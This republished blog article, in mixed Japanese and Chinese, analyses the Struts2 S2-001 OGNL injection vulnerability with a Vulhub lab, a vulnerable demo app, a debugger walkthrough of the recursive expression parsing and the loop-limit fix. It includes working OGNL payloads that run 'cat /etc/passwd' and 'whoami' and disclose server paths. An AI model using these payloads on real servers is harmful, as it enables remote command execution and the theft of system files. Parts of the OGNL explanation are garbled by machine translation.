ホームページ  >  記事  >  運用・保守  >  Struts2の脆弱性S2-001の分析例

Struts2の脆弱性S2-001の分析例

王林
王林転載
2023-05-15 15:58:141229ブラウズ

Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-001

1. 脆弱性の説明:

struts2 脆弱性 S2-001 は、ユーザーがフォーム データを送信して検証が失敗した場合、サーバーは OGNL を使用します。式 ユーザーによって以前に送信されたパラメータ値 %{value} を解析し、対応するフォーム データを再入力します。たとえば、登録ページやログインページなどです。送信が失敗した場合、サーバーは通常、デフォルトで以前に送信されたデータを返します。サーバーは %{value} を使用して送信されたデータに対して OGNL 式解析を実行するため、サーバーはペイロードを直接送信してコマンドを実行できます。

2.vulhubの脆弱性悪用:

vulhubを利用して脆弱性を再現すると、環境構築の手間が省け大変便利です。

vulhub 公式 Web サイトのアドレス: https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

脆弱性環境を開始します。

docker-compsoe up -d

テスト ペイロードを入力してください

%{1+1}

struts2漏洞 S2-001实例分析加算式が正常に実行されたことがわかります。

struts2漏洞 S2-001实例分析

今回はコマンドの実行を試します。新しい java.lang.String[{"cat","/etc/passwd"} ここで変更してください。実行したい。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

struts2漏洞 S2-001实例分析passwd ファイルは正常に読み取られました。

struts2漏洞 S2-001实例分析

次の 3 つの使用法ステートメント:

# #Tomcat パスの取得##%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"}
#Web パスの取得# %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println( #req .getRealPath('/'))、#response.flush()、#response.close()}
##コマンドの実行##%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{ "whoami"} )).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader( #c), #e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java .lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL は、Object-Graph Navigation Language の略称です。強力な式言語 (Expression Language、EL と呼ばれます) です。そのシンプルで一貫した式構文を通じて、オブジェクトの任意のプロパティにアクセスし、メソッドを呼び出すことができます。オブジェクトの構造図はオブジェクト全体の構造図を横断し、フィールド型変換などの機能を実装します。同じ式を使用してオブジェクトのプロパティにアクセスします。 OGNL の 3 つの要素: (以下の部分はインターネット上のどこかから抜粋しました。よく言われていると思います)

1. Expression

Expression は OGNL 全体の中核であり、 OGNL 操作は、式を解析した後に実行されます。式は、この OGNL 操作が何を行うかを指定します。上記のテストでは、名前、部門.名前などはすべて式であり、名前または部門内の名前の値が取得されることを示していることがわかります。 OGNL は多くの種類の式をサポートしています。詳細については後ほど説明します。

2. ルート オブジェクト

ルート オブジェクトは、OGNL の操作オブジェクトとして理解できます。式で「何をするか」を指定した後、それを「誰に」行うかを指定する必要もあります。上記のテスト コードでは、user がルート オブジェクトです。これは、ユーザー オブジェクトの name 属性の値を取得する (そしてユーザー オブジェクトの部門に name 属性値を設定する) 必要があることを意味します。

3. コンテキスト

式とルート オブジェクトを使用すると、実際に OGNL の基本機能を使用できます。たとえば、式に基づいてルート オブジェクトの値を取得または設定します。しかし実際には、OGNL 内ではすべての操作が特定の環境 (OGNL のコンテキスト) で実行されます。より明確に言うと、OGNL の操作を「どこで行うか」を指定するのはこのコンテキストです。
OGN L のコンテキストは、OgnlContext と呼ばれる Map 構造です。上で説明したルート オブジェクト (Root
Object) は実際にはコンテキスト環境に追加され、これは特別な変数として処理されます。特にルート オブジェクト (Root
Object) のアクセス操作式は必要ありません。 # 記号を追加することで区別できます。

# 式関数操作リスト:
1. アクセス基本オブジェクト ツリーへ
オブジェクト ツリーへのアクセスは、オブジェクト参照をドットで連結することによって実行されます。
例: xxxx、xxxx.xxxx、xxxx.xxxx。
例: #xxxx、#xxxx. xxxx、#xxxx.xxxxx. xxxx -、*、/、、--、==、!=、= などの演算子を使用することもできます。 mod、in、not in など。 4. コンテナ、配列、オブジェクト
OGNL は、配列や ArrayList などのコンテナへの順次アクセスをサポートします。例: group.users[0]
同時に、OGNL はマップのキー値検索をサポートします。例: # session['mySessionPropKey']
それだけでなく、OGNL はコンテナ構築のための式もサポートしています:
例: {"green", "red", "blue"} は List, #{ "key1": "value1", "key2" : "value2", "key3" : "value3"}マップの構築
任意のクラス オブジェクトのコンストラクターを使用して新しいオブジェクトを作成することもできます
例: new Java.net.URL ("xxxxxx/")5. 静的メソッドまたは変数へのアクセス
クラスの静的メソッドとフィールドを参照するには、それらの式は同じ @class@member または @class@method(args ): 6. メソッド 呼び出し
は、Java のようなメソッド呼び出しを通じて直接実行されます。パラメーターを渡すこともできます:
例: user.getName()、group.users.size()、group.containsUser (#requestUser) 7. 投影と選択
OGNL は、データベースと同様の投影と選択をサポートします。
射影とは、** の各要素の同じ属性を選択して新しい ** を形成することであり、リレーショナル データベースのフィールド操作に似ています。射影操作の構文は collection.{XXX} です。XXX は、この ** 内の各要素のパブリック属性です。
例: group.userList.{username} は、グループ内のすべてのユーザーの名前のリストを取得します。
選択とは、リレーショナルデータベースのレコード操作と同様に、選択条件を満たす**要素をフィルタリングすることです。選択操作の構文は次のとおりです: collection.{X YYY}。X は選択演算子で、その後に選択の論理式が続きます。 3 つの選択演算子があります:
? 条件を満たすすべての要素を選択します
^ 条件を満たす最初の要素を選択します
$ 条件を満たす最後の要素を選択します
例: group.userList .{ ? #txxx.xxx != null} は、特定のグループ内で名前が空ではないユーザーのリストを取得します。


以上がStruts2の脆弱性S2-001の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。